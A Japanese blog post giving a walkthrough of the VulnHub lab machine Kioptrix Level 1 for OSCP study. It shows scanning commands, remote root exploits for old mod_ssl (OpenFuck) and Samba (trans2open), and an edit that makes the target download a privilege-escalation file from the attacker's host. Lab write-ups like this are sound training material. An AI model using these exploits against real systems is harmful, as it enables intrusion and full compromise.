*白百合めも*

セキュリティ中心に毎日の勉強の記録を書くよ*

VulnHubやっていき(Kioptrix: Level 1 (#1))

みなさんこんにちは🎶白百合です🌟

もうすぐ今年も終わりそうですね⛄️
今年はどんな一年でしたか?

私は来年、OSCPを受けるという目標を立てたので、
今まで以上にたくさんペネトレの勉強をしていきますよ💖

攻撃手法を学び、そこから自身のシステムを守る方法を学んでハッピーになっていきましょう✨

今回から、VulnHub(Vulnerable By Design ~ VulnHub)に載っている脆弱なマシンを色々と攻略していきたいと思います!

手当たり次第やるとすごい量になるので、このブログでは、
OSCPで出てくるマシンとよく似ていると言われているマシンのみ取り上げていこうと思います🎀

今日はその中から、
Kioptrix: Level 1 (#1) ~ VulnHub
をやっていきますよっ🍰☕️

一応writeupという形になるので、まだ試してない方はまずご自身でやってみることをオススメします✨


Kioptrix: Level 1 (#1)

❤️マシンチェック

Kioptrix: Level 1 (#1) ~ VulnHub
まずは上記のページを見て、このマシンがどんなマシンなのかを把握しましょう!
このマシンの説明、使用サービス、writeup、Flag、脆弱性などなどが載っていますね🌹

例えば、以下を見ると
f:id:white-lily6u6:20181215175258p:plain:w150
EMailの中に隠されているFlagをゲットすればOKで、 存在する脆弱性はバッファのエラーと権限昇格とわかります🌟
(ここに書かれていない脆弱性もあったりするので、あくまで参考で!)


❤️環境構築

マシンのページにある”Netwoking”をみると、DHCPで自動的にIPアドレスが割り振られることがわかります!
f:id:white-lily6u6:20181215180838p:plain:w300

私はVirtualBoxにて
Kali : ホストオンリーアダプタ(DHCP使用)+ NAT
Kioptrix : ホストオンリーアダプタ(DHCP使用) という構成で設定しました!

しかし、最初は全くIPアドレスが割り振られなくてうまくいかず・・・
教えていただいたところによると、使用の仮想化ソフトによってはうまくいかないことがあるらしく、ググると解決策が載っていました🌟

Running Kioptrix: Level 1 (and others?) in VirtualBox | Hypn.za.net
こちらのやり方に沿ってKioptrixマシンの設定をすると、無事IPアドレスが割り振られました💖
困った時は【マシンの名前】+【仮想化ソフトの名前】でググってみると良さそうね✨

起動すると以下のような画面が出てきます!
f:id:white-lily6u6:20181215183420p:plain

❤️事前調査

IPアドレス調査

今回はIPアドレスが自動で振られるため、KaliからKioptrixのIPアドレスを探し出す必要があります🌟
私の環境ではKaliの(ホストオンリーの方の)IPアドレスは"192.168.56.102"なので、192.168.56.0/24の中からKioptrixを見つけましょう!

特定ネットワーク内のIPアドレスを探すために、 netdiscover コマンドを使います!

使い方は、こちらのサイト様が分かりやすかったです🌸
LAN内で利用されているIPアドレスを常時監視して一覧を出力し続ける『netdiscover』コマンド | 俺的備忘録 〜なんかいろいろ〜

netdiscover -r 192.168.56.0/24
と実行すると、以下のような結果になりました🍓
f:id:white-lily6u6:20181215184004p:plain
192.168.56.100DHCPサーバのアドレスなので、
KioptrixのiPアドレス192.168.56.104 ということが分かりました!

・サービス調査

IPアドレスが分かったら、次は動いている開いているポート、そこで動いているサービスの調査を行っていきます🍫
nmap -p- -sV -sT 192.168.56.104 でスキャンしますよ!(-p-:1-65535のポートが対象, -sV:サービスのバージョンスキャン, -sT:TCPスキャン)

f:id:white-lily6u6:20181215190542p:plain

22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open  status      1 (RPC #100024)

動いているサービスが色々と出てきました!
ちなみに、webにアクセスするとApacheのデフォルトページになり、特に利用できそうな点は見当たりませんでした*

この中から、Webサーバ系(Apache/mod_ssl/OpenSSL)と「Samba」に注目して見ていきます!(OpenSSHは特になさそうだった)

❤️脆弱性探し&exploit(webサーバ系)

脆弱性探し

今回は脆弱性を探すのに、webサーバの脆弱性をスキャンする nikto というツールを使っていきます❗️
nikto -h 192.168.56.104 f:id:white-lily6u6:20181215194055p:plain

画像が小さくて大変申し訳ないのですが、下の方に

+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.

とあり、mod_ssl 2.8.7より前のバージョンではリモートバッファオーバーフロー脆弱性があり、リモートからシェルが取れてしまうらしいです!
Kioptrix: Level 1のマシンページにもバッファ系のエラーがあるよって書いてあったし、これで間違いなさそうですね✨

ちなみに、mod_sslとは、ApacheSSL/TLSを利用するためのモジュールです(mod_ssl - Apache HTTP Server Version 2.4

・exploitコード探し

お次は、exploitコードを探していきます🌟
searchsploit mod_ssl で先ほどの脆弱性を突くexploitコードがあるか見てみます👀

f:id:white-lily6u6:20181215194833p:plain
おっと、早速見つかりました!
ハイライトしている764.cを使えば良いと分かりますね!(2つあるうちの最新の方)
exploit名がなかなかですがまぁ気にせずやっていきましょう苦笑

・exploit

次はexploitコードの中身をみてみましょう!
# vi /usr/share/exploitdb/exploits/unix/remote/764.c
f:id:white-lily6u6:20181215201702p:plain
f:id:white-lily6u6:20181215202533p:plain:w500
コンパイルの方法が書いてありますね🌹

まずは適当な場所に、764.cをコピーしてきましょう!
f:id:white-lily6u6:20181215205201p:plain

あとはコンパイルすればいいのですが・・・
実は以前アップデートがあり、このままのコードではコンパイルできないのです!!
Updating OpenFuck Exploit - PaulSec's blog
こちらに記載の通りにソースコードを変更していきましょう🍓

そうすると、無事コンパイルすることができます🌟
f:id:white-lily6u6:20181215205721p:plain

使い方がよく分からないので、とりあえずオプションなしで実行してみると、
f:id:white-lily6u6:20181215210832p:plain
こうやって使うんだぜ!というのが書いてありました🌷

./OpenFuck target box [port] [-c N]   
target :この下に記載のある”Supported OffSet"リストから該当するものを選ぶ  
box:IPアドレス192.168.56.104  
port:443  
-c N:コネクション数(40-50)  

targetに入力するものは下にリストで書いてあるので、今回のapacheのバージョンを探しましょう*

f:id:white-lily6u6:20181215215723p:plain
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2


2つ該当するものがあるのですが0x6aではうまくいかなかったので、0x6bを使います😉
実行すると・・・
f:id:white-lily6u6:20181215223856p:plain
シェルは取れているのですが、rootではなくapacheユーザとなっております。

エラーをみてみると、 apacheユーザでシェルを取った後にwgetで権限昇格のコードを取ってきて実行するつもりだったのに、Kioptrixがネットに繋がっていないためにwgetできていないようです。(ホストオンリーアダプタだから)

では、前回やったように、Kaliのドキュメントルートに https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c を持ってきてApacheを起動し、Kioptrixで実行するexploitコードではKaliのIPアドレス/ptrace-kmod.c を参照するように変更しましょう🍩

Kali上でwgetで権限昇格の攻撃コードをドキュメントルートに置き・・・
f:id:white-lily6u6:20181216074236p:plain

Apaheを起動し・・・
f:id:white-lily6u6:20181216075054p:plain

OpenFuck.c のコードのwgetの部分を、http://192.168.56.102(KaliのIP)/ptrace-kmod.c に変更し・・・
f:id:white-lily6u6:20181216074551p:plain

コンパイルして実行すると・・・
f:id:white-lily6u6:20181216075401p:plain
f:id:white-lily6u6:20181216075455p:plain
f:id:white-lily6u6:20181216075601p:plain
☆.+:rootが取れてる:+.☆.


あとはメールをチェックするだけですね🌟
/rootに移動し.bash_historyをチェックすると、
f:id:white-lily6u6:20181216080520p:plain:w300
mailコマンドというものがあるみたいです。

実際にmailを実行すると、メール一覧がみれました!
f:id:white-lily6u6:20181216081057p:plain

もう一度mailを実行してEnterを押すと、、、
f:id:white-lily6u6:20181216081131p:plain
"About Level 2"の中身がみれました!!おめでとうってことはこれでOKですね💖
Level2はこんな簡単じゃないよとのこと・・・頑張らねば><!

一応正攻法はこれだと思うのですが(バッファオーバーフロー+権限昇格)、続けてSambaの脆弱性を使った方法も見ていきます🌟


❤️脆弱性探し&exploit(Samba)

・Sambaのバージョン特定

nmapの時点で分からなかったSambaのバージョンを調べていきたいと思います!
しかし、
・Sambaの情報列挙してくれるenum4linuxを使用
・rpcclientで繋げて確認
・anonymous login
をしてみてもSambaのバージョンが出てきてくれず・・・!

どうやら、Metaploitのモジュール(auxiliary/scanner/smb/smb_version)でスキャンすると出てきてくれるらしいので、これを使います!
SMB Version Detection | Rapid7

すると・・・
f:id:white-lily6u6:20181216101955p:plain
あっさりと Samba 2.2.1a と教えてくれました!!

ソースコード(あとでちゃんと見よう)→metasploit-framework/smb_version.rb at master · rapid7/metasploit-framework · GitHub
Metasploit先輩強すぎる・・・🔥


脆弱性探し

searchsploit samba 2.2 で探してみると色々出てきました!
f:id:white-lily6u6:20181216103942p:plain

試してみたところ、一番下の
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution| exploits/multiple/remote/10.c
がうまくいったので、これでやっていきます!


・exploit

では、上記のexploit10.c を適当なところに移してコンパイルします🌟
f:id:white-lily6u6:20181216104837p:plain

まずはオプションなしで実行してみますと、
f:id:white-lily6u6:20181216105051p:plain
使い方が出てきました💖

Usage: ./smbexploit [-bBcCdfprsStv] [host]

で、-bの後には対象のプラットフォームLinux(0)を入れれば良いので、
以下コマンドを実行します✨
./samba -b 0 192.168.56.104
すると・・・
f:id:white-lily6u6:20181216105849p:plain
あっさりrootが取れてしまいました❤️
EMailみるところは同じなので省略します!

ちなみに、さっきのsearchsploitでMetasploitのexploitも出てきていましたが、
CVE-2003-0201 Samba trans2open Overflow (Linux x86) | Rapid7
のモジュールを使うことでもrootが取れるのでやってみてください🌟


❤️終わりに

今回もみてくださってありがとうございました✨
searchsploit sambaで探したときに結構利用できそうな脆弱性色々あって、うおーとなりました。
これからノロノロですがVulnHubやっていきたいと思いますので見守っててください笑!
今回のはすごい簡単なマシンだったそうで、これからが怖いですが、頑張るぞ・・・🔥
みなさん素敵なクリスマスをお過ごしくださいね🎄🎅

最後は恵比寿に飾ってあったピンクのポインセチアでお別れです♬
f:id:white-lily6u6:20181216111437j:plain:w450